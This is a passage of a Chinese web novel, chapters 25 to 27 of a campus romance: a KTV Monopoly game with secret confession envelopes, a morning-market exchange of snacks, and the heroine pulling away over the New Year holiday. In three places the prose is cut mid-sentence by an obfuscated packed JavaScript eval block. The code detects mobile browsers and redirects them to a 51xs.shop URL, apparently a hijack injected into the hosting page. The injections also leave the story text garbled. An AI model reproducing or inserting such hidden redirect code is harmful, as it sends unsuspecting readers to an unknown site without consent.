沈霁原本紧绷的肩颈线顿时松开，抿起的薄唇向上扬起：“放心吧，我有分寸，没受一点伤。”他刚抬起手，左手就忽地被宋妤扣住，属于宋妤的温度轻而易举地穿透薄薄的皮肉，一点点蔓延至他的心头。 沈霁低头看向宋妤：“你……” “这被刮到了。”宋妤打断了他未尽的话语，她的目光从沈霁手背上的那道伤痕缓缓移到他的脸上，宋妤神情严肃，语气也很认真，“谢谢你帮我，但我还是觉得那样做有点危险，下次不要这样了。” 被宋妤这样专注地盯着，沈霁一时间有点恍惚，回过神后耳根红了一半，不自在地转过头轻咳了一声：“就，小伤而已，没什么的。” 宋妤仍抿着唇，那双圆润的杏眼里写满了不赞同。沈霁没办法，赶紧承认错误，并拍着胸脯保证往后肯定不会冲动行事。 宋妤用纸巾擦去了沈霁手背上的血迹，又从包里摸出个创可贴给沈霁贴上，可那条血痕虽然不深却有点长，一个创可贴没办法盖住整条伤口。宋妤想了想，又掏出两个给他贴上，于是乎沈霁白皙的手背上被她横贴了三个画着蜡笔小新的创可贴。 沈霁看了眼自己手背上三个花里胡哨的小土豆，有些哭笑不得：“不用贴这么多吧，看着有点花哨。” 宋妤拍开了沈霁企图去拉扯的右手：“至少今天先贴着，不要沾水。” 沈霁乖巧地把右手背到身后：“听你的，我都听你的。” ... 刚才发生冲突的时候，何苑恰好去了厕所，等她回来听说了这么一回事后，甩了那群人好几个白眼，拎着包就要去找宋妤。找了一圈没见人，打电话也没接，好在遇上杜沧，杜沧领着她来了这个包间，说是待会儿沈霁就会带宋妤过来。 何苑已经在那个包间里听过了沈霁的英雄事迹，所以在沈霁进门以后看到他手背上那三个明晃晃的蜡笔小新，何苑想都不用想就知道是谁的杰作。 趁着宋妤去点歌，何苑在沈霁经过自己面前拿杯子的时候悄声叫住了他：“沈霁，老实说我还是不看好你跟小妤在一起。不过我还是要谢谢，今天保护了小妤。不过我先说明，我是不可能帮你追小妤的，唯一的承诺就是，我不会在小妤面前说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117037|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你坏话就是了。” 沈霁有些意外何苑会对自己说这样的话，他眉梢微扬，露出个大大的笑：“行，我会自己好好加油的。” 人多了麦不够，不玩游戏确实有点没意思。包间里有人提议玩游戏，宋妤听到就谨慎地缩起脖子，毕竟在方才的包间里确实有点ptsd了。但在杜沧说要玩的是大富翁以后，宋妤紧绷的肩膀才松懈下来。 “大富翁嘛，规则大家应该都清楚，反正就是最后结算家产最多的获胜呗。”杜沧正在介绍游戏规则，“不过简单的游戏没意思，咱搞点惩罚，也不玩什么过火的。” 说完，杜沧从包里掏出好几个信封还有一叠A4纸：“惩罚很简单，每人两张纸，一张写自己的理想型，另一张写想对十年后自己的伴侣说的话，叠好以后放进这个信封里装起来写上名字。大富翁的赢家可以从其余所有玩家的信封里随即抽一个打开，并且自由决定是否要念出来。” 这个惩罚听上去还算人道，没什么雷点，所以没有人提出反对意见。杜沧一边发A4纸和信封一边叮嘱道：“大家伙，这惩罚都搞得这么温柔了，你们写的时候可要真心实意认真对待昂，不然赢家一点意思都没有。给我大大方方的写，写最真实的！” 见杜沧这么激昂，大家也都点头应下了。宋妤握着笔对着两张白纸发呆，眼看大家都快要装袋了，她还没什么进展。思来想去，宋妤立刻提起笔唰唰唰地开始在纸上写起来。既然杜沧说的是真实想法的话，那她写下的也确实是自己的真实想法。等宋妤把信封装好以后，她转过头看到了沈霁还趴在桌边写得认真。宋妤离得远也就只能看到沈霁压在胳膊底下的那张纸上写满了字。 大富翁一轮只能玩六个人，所以订了个小目标，先赚够20W家产的人就算在这轮里胜出。第一轮宋妤没参加，看着他们玩，游戏还挺有趣的，就是当个吃瓜群众也看不腻。第一轮结束的时候胜出的是丁思越的女朋友，那个又白又美气质超群的女生，叫柳声余。不怪丁思越每天黏黏糊糊地把人当宝贝，就连宋妤坐她附近都总忍不住要多看两眼。 柳声余在这没太多熟人，选的必然是丁思越的信封。丁思越的那个信封被拆开后，围在旁边看热闹的众人看着柳大美女展开那两张薄薄的纸扫了两眼以后，霎时间耳根脖颈红了一片。柳声余没把纸上的内容念出来，不过看大家都好奇，丁思越倒是毫不吝啬地将那两张纸拍在桌上让众人看。 宋妤也好奇地凑过去，就见第一张写理想型的纸上写了三个大字——“柳声余”。第二张写给十年后伴侣的信，上面写着：“十年以后，不清楚究竟是成为柳声余老公的第几年，如果可以，我希望是我们结婚的第八年。不知道那时候的我是什么样子，但柳大美女一定依旧光彩照人。” 看到第八年的时候宋妤在脑海里计算了一下，如果十年后是结婚的第八年，那么丁思越的愿望就是大学毕业后立刻和柳声余结婚。 后面还有几句很是直白的示爱话语，众人看完立刻开始嬉笑着调侃这对小情侣。同寝的薛子奇啧啧两声，一边搓着手臂上的鸡皮疙瘩一边吐槽道：“跟个情圣似的，肉麻死了！” 杜沧嗤笑一声：“我现在严重怀疑这货是故意输给柳大美女，就是为了秀这一手。恶不恶心啊，忒肉麻的！” 沈霁在一旁一直没有说话，杜沧撞了撞他的胳膊正要寻求对这话的认同感。沈霁收回自己的手臂转过脸去不理杜沧的话。透过搭在额前的指缝，沈霁不动声色地往宋妤的方向看了一眼。 什么啊。 他才不想承认自己跟丁思越是一个脑回路。 25. 再次初恋 宋妤在旁边围观了两局，规则差不多都搞明白以后，第三局终于换她上了。 这一局还算顺利，玩到后面宋妤甚至有种自己或许可以成为胜者的感觉。她难得有了兴致，甚至隐隐被勾起一点点好胜心。时间流逝着，游戏也快要接近尾声，宋妤默默计算了一下自己的资产。 如果没有意外，应该能取得胜利。 轮到沈霁掷骰子，他迟迟没有动作，红色的骰子被他夹在两指之间，不知在想些什么。 “你发什么呆啊，沈哥。”坐在旁边的杜沧没忍住催了他一句。 沈霁没理会杜沧，而是转过头看向宋妤：“如果你赢了的话，会选择开谁的信封？” 他突然这么问，宋妤就愣了下，反应过来以后她又瞬间明白了沈霁的顾虑。 “你不希望你的信封被拆对吧，”宋妤表示理解，并作出保证，“放心好了，要是我赢了，肯定不拆你的信封。” 说完这话以后，宋妤抬头去看沈霁的眼睛，却见他唇边的弧度都淡了几分，视线一碰上，沈霁就移开了眼睛。 “哦，这样啊。”他的声音很淡，听不出高兴的意思。 说完这句，沈霁边将手里的骰子随意一扔，红色的立方体在桌面上旋转了两圈，停下以后六个点的那面朝上。 杜沧坐的离沈霁棋子现在的位置最近，他看见投掷出的数字以后，就伸手帮沈霁走了六步。 “一、二、三......”杜沧看着棋子停滞的那个棋格，拍手转头对沈霁道，“呀，是命运格，快抽牌。” 杜沧将橙红色的命运牌一整沓递给沈霁，沈霁转手又递给了宋妤。 “帮我洗个牌。” 宋妤接过来随便洗了洗，将命运牌在桌面上平摊成一列。沈霁垂眼看了下橙红色的牌面，纤长的指节在其中一张之上敲了敲：“我选这张。” 沈霁还没翻开，杜沧就急性子的将那张被沈霁选中的牌翻开。 “命运：在奇妙的一天和富豪陷入了爱情。请对场上最富有的玩家说一句‘我爱你’，并得到该玩家的2W元约会资金。” 杜沧念的很快，那句话从宋妤的左耳朵进去了，似乎又从她的右耳朵出去了。其余人还在计算自己手头的资产，找出谁是现在最富有的玩家。而沈霁的身体微微后仰，侧过身用极快的速度对着宋妤说了一句。 “我爱你。” “啊？”宋妤有些懵地看着他。 沈霁摊开手，骨节分明的手指白皙又修长。 “该给钱了，金主。”沈霁理所当然道。 宋妤现在的家产是19.5W，确实是场上最富有的玩家。她后知后觉地反应过来自己是沈霁抽中的命运牌的一部分，撇了撇嘴后还是认命地数了2w资产出来。 见宋妤一副万分肉痛的样子，沈霁没忍住笑了一声：“就这么心疼啊，那我再给你补一句呗。” 宋妤没抬眼，淡淡嗯了一声。沈霁有点意外，单手托着下巴侧头专注地看着她。 这次他又说了一遍，不是像刚刚那样语速飞快，语气很轻。而是缓慢而又郑重的，足够让围在这张桌子前的每个人都听得清楚。 “那我再说一遍，” “我爱你。” 宋妤呆了一下，随后她立刻意识到是自己方才那个单音节的嗯让沈霁产生了歧义。她回复的其实是他的前半句，可这下造成了不得了的误会。 “我...”宋妤耳根一红，觉得自己该解释下，可是又不知该从何开口。 一旁的杜沧正想调侃沈霁这句我爱你真是说来就来，一点也不害臊，可他刚转过头，就看到了沈霁藏在黑发下通红的耳廓。 杜沧识时务地闭上了嘴，要是调侃过了真把沈霁逼急了，他也捞不着好。 沈霁将宋妤给他的几张纸钞放入了自己的那叠资产中：“时间也差不多了，可以开始清算了。” 游戏的结果很快公布，原本宋妤可以赢得十拿九稳，可在命运牌上输给了沈霁部分资产，因为原本他俩的资产就相差的不算太多，这一手直接让沈霁给反超了。 公布完赢家，杜沧拿出了好几个信封摊在了桌面，努了努嘴示意作为赢家的沈霁快点挑选。 沈霁挺直脊背，身体前倾就要伸手去拿桌上的信封。宋妤看着他修长的指节，总有种不太好的预感。 果不其然，沈霁的手已经触在了那个写了宋妤二字的信封上。 几乎是下意识地，宋妤伸出手压住了沈霁正要拿起信封的手。 手背上传来宋妤掌心的温度，沈霁愣神片刻，才抬起头看向眼前人，看宋妤有些心虚的模样，沈霁有些好笑：“怎么了？” 宋妤没松开手，掌心依旧紧紧贴在沈霁的手背上，她硬着头皮又问了一句：“你真要选我呀？要不换一个吧。” “宋小妤。”沈霁忽然叫她的名字。 宋妤抬头，沈霁抬起那只被她贴了三个蜡笔小新的左手，温柔却不容拒绝地拿开了她覆在他手背上的那只手。 “要愿赌服输才行啊。”沈霁对着她笑得好看。 在他拆开之前，宋妤不死心地继续挣扎了一下：“你可不可以不要念出来，你看就好了。” 杜沧在旁边听了老大不乐意：“怎么回事啊宋妤妹子，那我们当外人这么见外！”何苑也好奇地伸长脑袋看沈霁手里那两张薄薄的纸。 宋妤不理他们，用委屈巴巴的目光继续看向沈霁：“你自己看，不要念，自己看。” “可以。”沈霁答应下来，展开了手里的两张纸。 展开的第一张纸写的是想对十年后伴侣说的话，沈霁的目光掠过那一行行娟秀的小字，唇角上扬的弧度也逐渐淡下来。 “十年后的事情好远，我一般不假设太过久远的事。但如果是大胆假设的话，我认定也许可以和作为初恋的你修成正果。” 看到这句话的时候，沈霁捏着纸张的手指收紧，指尖因为过分用力泛起微微的白。他的呼吸停滞了一下，抬头下意识去追寻宋妤的眼睛。 宋妤没看他，单手捂着自己的额头，一副过分羞耻不愿面对的模样。 原来，她...有个一直忘不了的初恋吗？ 沈霁的视线重新落回那个字眼上，似要用灼热的目光将那两个字穿透一般。 初恋。 这个字眼对他来说应该不算陌生才对。也不是捏泥巴的年纪，从学生时代到现在，沈霁林林总总也谈过那么几段。 追逐他的人不算少，但在那些热切之中，沈霁好像从未有过感同身受的半点触动。沈霁早已忘记了自己第一段恋爱是如何开始，因为他的每段感情从来都是平平谈谈地走向无疾而终。 记忆中面貌模糊的女孩在他面前落下泪来，一遍一遍地诉说着这段爱而不得的感情是多么深刻，又多么痛苦。 沈霁那个时候只觉得疑惑。 喜欢的心情究竟是什么？这样痛苦的话为什么不放弃追逐？ 谈过的那几段沈霁记不太清细节，他的每一任对象都会因为他对约会提不起兴致，以及不接受身体接触的冷漠态度而飞快地想要提出分手。 沈霁从没有挽留过，因为他从没有懂过。其实现在的他也有点不明白自己的心情究竟要称之为什么。 在万千人海里，他和宋妤原本只是两条永不相交的平行线。从相交的始点走到今天，沈霁逐渐克制不住自己的心跳因为靠近她而加速跳动。 当他察觉到的时候，胸腔已经被滋生而出的多种情绪所填充：嫉妒，占有，彷徨，不安，羞怯......这么情绪挤在同一颗拳头大小的心脏里，果然还是太沉重了。 沈霁看向那宋妤那双澄澈的眼睛，酸涩之意在喉头满溢。他现在才懂 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众人好奇的目光纷纷落在宋妤身上，宋妤的脸刷一下红透了，她原本想着反正应该也不会有人选她的信封，所以就中二之魂发作写了一堆似是而非的话，谁知道沈霁选了她的信封！ “你不是说不会念出来吗！”宋妤的声音拔高了一个度，难得地直白地露出羞恼的模样。 沈霁仍是那副一头雾水的模样：“不，其实我只是......” 宋妤不给沈霁继续曝光她的机会，抓着人胳膊往外走：“你，跟我出来一下。” 包间外，宋妤简单解释了一下圣光骑士是自己小时候看的特摄电影里的主角。 沈霁沉默了好一会儿，才抬起眸扬了扬手里的两张纸：“所以你这上面写的都是闹着玩的，你根本没有一个想要修成正果的初恋对不对？” “额，算是吧。我又没谈过恋爱，哪来的初恋。”说完宋妤又觉得不对，认真道“等等，我不是乱写，我认真的。我的纸片人初恋+理想型一直都是Menitor，长情得很没变过。” 沈霁一直没回话，宋妤看着他缓缓依靠在墙边，用那两张纸挡住了自己的脸。 “你怎么了？”宋妤凑过去问。 沈霁叹了声，嗓子也有点哑。 “没事，就是觉得，心跳得有点快。” 得到这个回答，宋妤认真地思索了一下：“持续多久了？不会是心律不齐吧？心脏的问题可得引起重视，你找个时间去医院检查一下吧。” 沈霁看着宋妤的眼睛，试图找出一点玩笑的意味。可惜失败了，他知道宋妤这么说是认真的。 “你这么看着我做什么？”宋妤有些疑惑。 沈霁微叹一声：“没，就是觉得...真是败给你了。” 他早就败给宋妤了。 ... 要从KTV离开之前杜沧叫住了正在沙发上找手机的沈霁，他扬了扬手里的牛皮信封，笑道：“沈哥，你这个还要吗？我刚才看你似乎写了不少，不会是写了封情书在里面吧？” 沈霁斜睨了眼那个写着自己名字的信封：“扔了吧。但是你不许打开看。” 杜沧啧啧两声，走到垃圾桶旁边想将那个信封放进袋子里，沈霁却忽然阻止了他。 沈霁拿回了那个信封，揣回了自己兜里。 杜沧好奇地问：“怎么又改主意了？” “哦，就是改主意了。”沈霁不甚在意地耸了耸肩。 他确实在信封里写了些话，想对宋妤说的。原本想着宋妤也没兴趣看，一堆酸话扔了得了。 但思来想去，沈霁还是捡回来了。 万一有那一天呢，万一有一天，宋妤就想看了呢。 26. 冬日暖阳 回去的车约在早上九点。宋妤七点起来收好了行李，收完以后就被何苑拉出去吃早饭了。 吃过早饭以后，两人又拉着手沿着小街往下走，这里的早市还挺热闹，花花绿绿的商铺和小摊挤满了街道两旁。 一路上走来还看到了不少熟悉的面孔，不少人从住的地方过来这条街上吃早饭。何苑远远瞧见个走街串巷卖糖葫芦的，眸光一亮就拉着宋妤过去。 还有两三个女生站在那个卖糖葫芦的大叔身边，宋妤听到其中一个圆脸女生正在问有没有卖腌制的糖山楂。大叔答了声有，何苑也紧跟着说了句要一串腌制糖山楂。 宋妤原本对糖葫芦是没什么兴趣的，但她还没听过什么是腌制的糖葫芦。 “好吃吗？”宋妤看着何苑手上那串裹了糖衣的褐色圆果，有些好奇地问。 何苑煞有其事地看着她：“这个特别绝！” 那几个女孩也都各买了一串腌制的糖山楂，宋妤一时间好奇心理加上从众心理发作，也随大众地跟着买了一串腌制糖山楂。 宋妤咬了一口，糖衣下包裹着的果肉经过腌制，中和了原先的酸味却更添了几分咸味，口腔里是甜味和咸味交织混杂在一起的古怪味道。 看见宋妤咬了一口以后就皱起了眉，何苑笑话她：“你是不是吃不惯？哎呀你要是好奇味道吃我的不就行了，还自己去买了一串。” 宋妤看着手里只吃了一颗的腌制糖山楂犯了难，她是真的吃不惯，可剩下的怎么办？ 宋妤举着这串糖葫芦跟着何苑走到了巷尾，刚走过转角，就在前方不远处看到了个熟悉的身影。 是沈霁，他站在前面那个糕点铺子旁，背对着宋妤和何苑，正和一个穿着粉色羽绒服的娇小女生说话。 那女生仰头看着沈霁，眉梢挑起，开口的语气也带着几分嗔怪：“沈霁，你怎么把最后三份都买走了，你一个人要吃这么多的吗？” 沈霁一脸无辜，他举起右手的那个透明食品袋晃了晃：“这两给丁思越和杜沧带的。” 那女生瞥了眼沈霁左手边的袋子，那份还特地向店主要了打包盒，包装堆叠得整整齐齐。她手一指，问：“这份呢？要不你分我一半，我都排老久的队了，你忍心让我空手而归吗？” 女孩子的声音软绵绵的，此刻带了点上扬的尾音，像夹了心的水果糖，听着就让人无法拒绝。 可她话音刚落，沈霁就警惕地把左手的食品袋揣进自己的怀里，一副护食的模样：“不行，这是我的，我也排了好久的队。” 女生咬着唇看他：“你就不能善良一点吗，我就分一半。” 沈霁依旧是那副‘我凭着本事买到的为啥要让你’的模样，他摆摆手：“下次请早。” 那女生用一言难尽的目光瞪了沈霁一眼，跑开了。 沈霁一转身就看到了站那的宋妤和何苑，看到两人他似乎不算意外，打了个招呼后朝着两人的方向走来。 沈霁垂眸看了眼宋妤：“大早上吃糖葫芦啊？” 宋妤看了看手里的腌制糖山楂，又抬头看了看沈霁。想到昨日沈霁靠命运牌翻盘还揭了她中二之魂的那事，宋妤起了点微妙的恶作剧心理。 “你要尝尝吗？腌制的糖山楂，和平时吃的糖葫芦不一样，可好吃了。”宋妤的嘴快脑子一步把想说的话说出来了。可当她自己的视线重新落回那串被自己吃掉一颗只剩下五颗的糖葫芦上时，宋妤才迟钝地回味过来这一举动的不妥。 她讪讪地收回手：“唉，我是随口一说啦。” 可她的手还没来得及完全收回去，沈霁先一步接过了她手上的糖葫芦，递到唇边咬了一颗。 宋妤呆了一下，才问：“好吃吗？” “嗯，还不错。”沈霁回答。 得到这个答案宋妤心里升起一点微妙的惋惜。没整到他，沈霁吃得惯。 宋妤指了指那串糖山楂：“那这个送你吃吧，我吃不惯。” 沈霁没有拒绝，他将挂在左手腕上的那个食品袋拿下来递给了宋妤：“吃了你的糖葫芦，我用这个跟你换。” 透过透明食品袋，宋妤看到了包装盒上的商标logo，是这边小镇的特色点心，有几家口味地道的很难买，他递来的这份就是其中一家。宋妤原本是想和何苑一起买来尝尝的，可是每次过去店铺门口都是大排长龙，便放弃了。 宋妤没有接，摇头拒绝：“不用了，你还是自己留着吧。” 沈霁没说劝她收下的话，倒是问了句：“昨天你给我的那个创可贴还有吗，我手上的掉了，沾了水会有点不方便。” 宋妤从包里摸出一版五个创可贴一起给了他。沈霁接过来，示意宋妤帮他先拿着左手的食品袋，不然他没有空余的手撕创可贴。 宋妤刚接过食品袋，沈霁就停下了摆弄创可贴的动作，绕过她大步地朝后方走了。 “趁热吃好吃。”沈霁只扔下这句。 他腿长，走得也快，宋妤一个没注意，他已经走远，拉开了好长一段距离。 何苑碰了碰宋妤的胳膊，叫回了她不知何时跑走的神。 “诶，你们......”她的话还没说下去，兜里的手机响起。两人对视一眼，才想起没留多少时间能给她俩在这磨蹭了，赶紧掉头回去准备集合上车了。 大巴来得很快，上车之前两人又遇到了沈霁和杜沧，沈霁帮宋妤放了行李，杜沧也帮何苑放好了行李。这次两人来得早，车位也不似刚过来那般紧张，就坐了同一辆车。 上车以后刚坐下不久，何苑就想起了那个在巷子里没问出口的问题。 “嘿，小妤宝宝，”何苑凑近宋妤耳边贴着她小声问，“你和沈霁，现在究竟是什么情况？” 何苑当然不是最近才知道沈霁那昭然若揭的心思，但她一直没在宋妤面前捅破，甚至减少了在宋妤面前提起沈霁的频率。 沈霁与她之前所想象的宋妤的理想伴侣相差太远，何苑不太看好，自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166138|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不乐意沈霁在宋妤面前多刷存在感。她是宋妤的好友，她清楚地知道，如果没有那个点破的契机，宋妤大概会长久又迟钝地困在这种自以为是的朋友游戏里。 可事情的发展与何苑预计中的不太一样，她能察觉到的，宋妤在逐渐接受沈霁的越靠越近。与其继续浪费时间困在迷雾之中，何苑更愿意早一点让她明白。 “什么...情况。”宋妤重复了一遍这几个字眼，面对这个问题，她没有装傻地反问，因为她清楚地知道何苑究竟想问些什么。 宋妤垂下眼，手指一下一下地扣着搁在腿上的皮制包带，她沉默不语，像在思索，又像在神游。 她的朋友不太多，简单来讲，她的朋友很少。 所以说，她和沈霁，是朋友吗？ 那些被她刻意遗忘和忽视的记忆，顺着平静湖面上垂下的钩绳一跃而上，潮水般向她涌来。 朋友，是宋妤为自己和沈霁划下的安全线。在这条线内，无论彼此怀揣着的究竟是什么样的心意，都可以以朋友的名义继续装傻。 宋妤转过头看向玻璃车窗，沈霁还没上车，站在那棵大树底下正跟人说话。 某种时刻下沈霁的感官很敏锐，他明明还侧着头跟别人说话，不知怎的就抬起了眸，一下子捕获住宋妤落在他身上的目光。 沈霁的唇角弯起，伸手朝她的方向挥了挥。他的眼眸湿润黑亮，弯起的眼尾也遮不住潋滟的碎光。 明明一连几日都是阴阴的天，今晨的天穹偏偏挂上了暖融的冬阳。阳光穿过树梢，落在沈霁有些翘的发尾，洒在他的肩头，镀上了一层漂亮的金灿灿。 宋妤维持着这个姿势看向那个方向，她没有眨眼，或许是忘记了眨眼。 她在看什么？或许是久违的阳光吧。 哗啦一声，宋妤拉上了浅蓝色的窗帘，挡住了穿透玻璃的阳光。从那些记忆里抽身以后，宋妤垂下头喃喃：“原来，已经过界了吗。” 以朋友游戏为名义，差点也骗过了自己。 何苑有些惊奇宋妤会直白地说出这样的话，毕竟面对过往的那些桃花，她永远是一副不会对情情爱爱有所触动的模样。 “所以，你会跟他谈恋爱吗？”何苑问。 “不会。”和过往的许多次一样，宋妤给出相同的答案，“我，不想谈。这个问题上，应该不会出现第二个答案。” 何苑微叹一声：“唉，我也不知道怎么说。我以为，沈霁会是那个例外。” 宋妤垂下头，没答何苑这番话。 其实她也想用更加确证的语气告诉何苑，沈霁和其他人一样，没有特殊，不会成为例外。 可事实就是，他确实有点特殊。 沈霁应该是唯一一个，让她意识到那点时，已经一脚跨出了名为朋友的安全线的人。 “那，你打算怎么办？”何苑在一旁问。 宋妤回答她：“退回去。” 至少她自己，应该退回去。 27. 新的一年 到了年末时间就感觉过得飞快。就要迎来春节，所以这几天宋妤都起的很早，帮着宋琴心女士给家里店里里里外外地打扫一遍。 今天小表弟来家里玩。宋妤打扫的工作做完以后，就负责带这个小泼猴。小孩子的精力总是无限，带着出去小区的儿童乐园玩了半天，也根本没有感到困顿的时候。 宋妤是真觉得累惨了。她索性随便点开个单机经营小游戏，把手机给了小表弟玩，自己瘫在沙发上看电视休息。 这种小游戏虽然简单，但花哨的界面果然还是很容易讨孩子们的欢心。手机在手，小表弟叭叭个没完的小嘴终于能暂时歇歇了。 宋妤仍瘫在那里，坐在旁边的小表弟探出个脑袋看她：“姐姐，微信有人给你发了几条信息，你要回吗？” 宋妤接过手机看了一眼，弹出的对话框果然是那个熟悉的头像。她搭在手机屏幕上的指尖顿了一下，随后还是退出了那个绿色软件，给手机提示设了静音后又把手机给了小表弟。 “你先玩吧，我等会儿再回。” 小表弟继续埋头游戏，可刚才那个头像又发过来几条消息，他问了宋妤，宋妤依旧回答等会儿再回。 “姐姐是不是讨厌这个人，所以不想回他的消息？”小表弟歪着脑袋看她，做出了一个合理的猜测。 宋妤摸了摸小表弟的脑袋：“当然不是了洋洋，他是姐姐的朋友。姐姐不讨厌他。” 洋洋思索了一下，认真道：“姐姐，如果这个人是你的朋友，他一直发消息你却故意不回复的话，是会伤心的，会以为你在讨厌他。” 被小孩子教育以后，宋妤有些不知道该如何接这话，只能讪讪地从洋洋手里接过了手机。她仰躺在沙发上，无声叹了口气。 自从看清了自己逐渐越界的脚步以后，宋妤就觉得自己应该早点拉开和沈霁无形之中越靠越近的距离。她以为回到家后至少在这个寒假里不去学校不会见到沈霁，能够给自己留出点时间好好思索该如何妥善处置现在的局面。可即使在假期里，沈霁也经常给她发消息，有时是简单地问些问题，有时是想约她出去。 宋妤总是在找借口推掉他的邀请，还在逐渐降低回复消息的频率。最初故意忽视沈霁发来消息的时候，宋妤总会时不时地走神，有点迷茫又有点纠结。 确实不太礼貌吧，突然就受到这样的冷遇。换位思考下宋妤也觉得自己有点过分。 是不是自己太过自我意识过剩了，其实沈霁，似乎也没有直白地表现出想要进一步改变两人之间关系的想法，她就已经惊弓之鸟一般地缩回自己的壳子里。 宋妤的目光落在和沈霁的聊天框，界面上是大片的绿，偶有几条属于她的回复。她的手指动了动，最终还是按灭了屏幕。 除夕这天很快到来，团圆饭要去外婆家吃，宋妤撸起袖子加入宋琴心女士和外婆的厨房队伍。忙起来好，忙一点的话大脑就不会空起来去想别的事情。 小区这边今年禁止放烟花了，虽然没有往年的热闹，好在家家户户的门窗上贴起的红色对联窗花依旧没有削弱过年的色彩。 团圆饭吃完以后，宋妤换上了新买的红毛衣，钻进孩子们排队拿红包的队伍。客厅里传来喧闹的声音，大人们围坐在电视机前嗑着瓜子看春晚，天南海北地聊着小孩们听不懂的话题。 孩子们当然有别的固定节目——去人民广场看烟花。宋妤和表姐一起带上一双表弟妹一块出门去。 “小妤，洋洋的手套没有拿，在你房间的床上。”临出门前表姐对正在换鞋的宋妤道。 宋妤风风火火地跑了回去，拿了洋洋的毛线手套后又风风火火地出门去了，全然忘了从早上起就被她遗忘在书桌上的手机。 搁在桌板上的手机屏幕一亮，弹出一条微信消息。 [。：吃完饭了吗？今天广场那边会放烟花，想一起去看看吗？] ... 沈霁原本觉得自己温水煮青蛙的节奏是完全没有问题的。社联活动的那几天，总的来说应该是有了不错的进展才对。 可现实的发展却与他预想中的背道而驰，在他觉得自己离宋妤越来越近的时候，宋妤开始不怎么回他的消息了。 等了大半天，满屏的消息只在晚上的时候收到一两条不痛不痒的回复。 [小鲤鱼历险记：抱歉哈，最近小表弟住在家里，要带孩子基本没什么时间看手机。] 沈霁觉得憋闷，还有点委屈。 好明显的冷遇，借口找的一点也不上心。 沈霁趴在床上打了一大段话，临到发送的时候又一个字一个字删去。他想过直接打电话，可似乎也不知道该说点什么才好。 难道就这样打电话过去质问，问宋妤为什么老是不回他消息，为什么总是找借口推掉他的邀约？ 难道...她讨厌他吗？ 沈霁烦躁地抓乱了自己的额发，将捧了一天的手机丢在一边。 说到底，他还什么也不是，没有立场去质问什么。宋妤要不要搭理他，愿不愿意答应他的邀约，说到底都不需要什么理由。 所以说这种没有名分只能自己生闷气的样子，究竟要持续多久？ 沈霁觉得自己的耐心在流失，这种快要触碰到的时候又被立刻端得远远的感觉，在反复拉扯着他的心脏。 沈霁摸出另一个手机，给丁思越打了个电话，第一通没有接，沈霁就持之以恒地打，打到他接为止。 “什么事啊沈霁，别打扰哥们约会行不行。”电话那头传来丁思越吊儿郎当的声音。沈霁没有立刻回话，丁思越索性就开始自己猜测起原因来。 “不会是情感问题吧？跟宋妤不顺利？思来想去你好像也就这方面会来向我请教问题而已。” 沈霁一肚子的话全都梗在喉咙间噎住，他有些自暴自弃地往后躺：“她又开始像最开始那样冷待我了，我在想要不直接说清楚算了。” “说清楚？”丁思越笑了一声，“你是想直接告白吗？” 沈霁嗯了一声：“照这样不上不下地拖着，我在想什么都是名不正言不顺，指不定哪天没看住，就被别人端跑了也不一定。” 丁思越作为过来人，当然知道沈霁这种渴望上位的焦灼感。虽然人都常说恋爱最美好的阶段就是暧昧，不说破的朦胧状态下拉扯才是最有趣的。 可他和沈霁是一类人，受不了拉扯，只有明明白白地揣进自己怀里了，才能感受到一点安全感。 如果是其他人丁思越肯定支持沈霁直接去告白，可偏偏对象是宋妤。他找人打听过，那姑娘看着性子软，其实心硬得很，大一到现在明里暗里想追的不少，都没人成功过。太过冒进反而会把人推远，也就是因为这个，直性子的沈霁才会到现在都还憋着。 “我约她出去她都没同意过，这种状态我就是直说了也是没戏吧。”沈霁翻了个身，才继续道，“我真的想直接去找她。” 丁思越啧啧了两声，道：“是谁之前总说跟女生约会这种事最没意思，不懂得别人为什么天天想往外跑呢？现在又是说跟个怨夫似的天天守着手机，等着人家的宠幸？真是风水轮流转啊！” “你要是只会挖苦我就赶紧闭嘴吧。”沈霁把刚才扔在床上的那个手机拿起来，一手点开宋妤的头像，半小时前发的那条约她去广场的消息还没收到回复。 “行行行，为了安抚咱沈霁哥哥受伤的心灵，我这边攒了个局，出来喝酒吗？”丁思越在电话那头问。 沈霁的手指悬在那个发起通话的按键上，久久没有落下。直到丁思越又在那头催促了他几遍。 沈霁把那部手机收进了抽屉深处，拿起挂在门边的外套穿上：“知道了，我过去。” 下楼前路过那个房间，沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188206|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霁的脚步顿了下，最后还是走到门边敲了敲。 “妈，丁思越他们攒了个局，我出去了啊。” 